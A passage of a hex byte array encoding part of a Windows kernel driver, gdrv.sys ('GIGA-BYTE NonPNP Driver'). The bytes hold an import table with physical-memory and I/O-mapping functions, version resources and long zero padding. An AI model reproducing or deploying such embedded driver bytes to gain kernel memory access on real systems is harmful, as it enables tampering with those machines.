0xCC, 0xE0, 0x80, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x84, 0x00, 0x00, - 0x10, 0x40, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x44, 0x84, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x07, 0x52, 0x74, - 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, - 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x57, 0x00, 0x44, 0x62, - 0x67, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x00, 0x00, 0xB1, 0x03, 0x4B, 0x65, - 0x41, 0x63, 0x71, 0x75, 0x69, 0x72, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, - 0x63, 0x6B, 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, - 0x4C, 0x6F, 0x63, 0x6B, 0x00, 0x00, 0x5F, 0x04, 0x4B, 0x65, 0x52, 0x65, - 0x6C, 0x65, 0x61, 0x73, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, - 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, 0x4C, 0x6F, - 0x63, 0x6B, 0x00, 0x00, 0x94, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, - 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0xBE, 0x00, - 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, - 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xE2, 0x04, 0x4D, 0x6D, 0x42, 0x75, - 0x69, 0x6C, 0x64, 0x4D, 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, - 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x0D, 0x05, - 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, - 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0x34, 0x05, 0x4D, 0x6D, 0x55, 0x6E, - 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, - 0x65, 0x73, 0x00, 0x00, 0x0B, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, - 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x33, 0x05, 0x4D, 0x6D, - 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, - 0x00, 0x00, 0xD5, 0x04, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, - 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, - 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xEF, 0x04, 0x4D, 0x6D, - 0x46, 0x72, 0x65, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, - 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0x65, 0x02, - 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, - 0x6C, 0x00, 0x9B, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, - 0x8B, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, - 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x96, 0x02, 0x49, 0x6F, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, - 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xA2, 0x02, 0x49, 0x6F, 0x44, 0x65, - 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, - 0xA4, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, - 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, - 0xB7, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, - 0xC8, 0x05, 0x4F, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, - 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x42, 0x79, 0x48, 0x61, 0x6E, - 0x64, 0x6C, 0x65, 0x00, 0x8E, 0x09, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, - 0x65, 0x00, 0xE4, 0x09, 0x5A, 0x77, 0x4F, 0x70, 0x65, 0x6E, 0x53, 0x65, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0xCF, 0x09, 0x5A, 0x77, 0x4D, 0x61, - 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x00, 0x00, 0x5D, 0x0A, 0x5A, 0x77, 0x55, 0x6E, 0x6D, 0x61, - 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, - 0x6F, 0x6E, 0x00, 0x00, 0xF7, 0x04, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, - 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x00, 0x00, 0xFE, 0x04, 0x4D, 0x6D, 0x49, 0x73, 0x41, 0x64, - 0x64, 0x72, 0x65, 0x73, 0x73, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x00, 0x00, - 0xC9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, - 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, - 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x48, 0x00, 0x48, 0x61, 0x6C, 0x54, - 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x42, 0x75, 0x73, 0x41, - 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x48, 0x41, 0x4C, 0x2E, - 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x04, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, - 0xE8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x02, 0x34, 0x00, - 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, - 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, - 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, - 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, - 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, - 0x6F, 0x00, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, - 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, - 0x30, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x1F, 0x00, 0x01, 0x00, 0x43, 0x00, - 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, - 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x47, 0x00, 0x49, 0x00, 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, - 0x59, 0x00, 0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x45, 0x00, - 0x43, 0x00, 0x48, 0x00, 0x4E, 0x00, 0x4F, 0x00, 0x4C, 0x00, 0x4F, 0x00, - 0x47, 0x00, 0x59, 0x00, 0x20, 0x00, 0x43, 0x00, 0x4F, 0x00, 0x2E, 0x00, - 0x2C, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x54, 0x00, 0x44, 0x00, 0x2E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x18, 0x00, 0x01, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, - 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x49, 0x00, - 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x59, 0x00, 0x54, 0x00, - 0x45, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, - 0x4E, 0x00, 0x50, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, - 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, - 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, - 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, - 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, - 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4A, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, - 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, - 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, - 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x37, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x09, 0x00, 0x01, 0x00, 0x4F, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, - 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, - 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, - 0x72, 0x00, 0x76, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x07, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, 0x36, 0x00, 0x34, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, - 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x37, 0x00, 0x31, 0x00, 0x32, 0x00, - 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, - 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, - 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x40, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0xF8, 0xA0, 0x00, 0xA1, - 0x08, 0xA1, 0x10, 0xA1, 0xB8, 0xA1, 0xD0, 0xA1, 0xD8, 0xA1, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 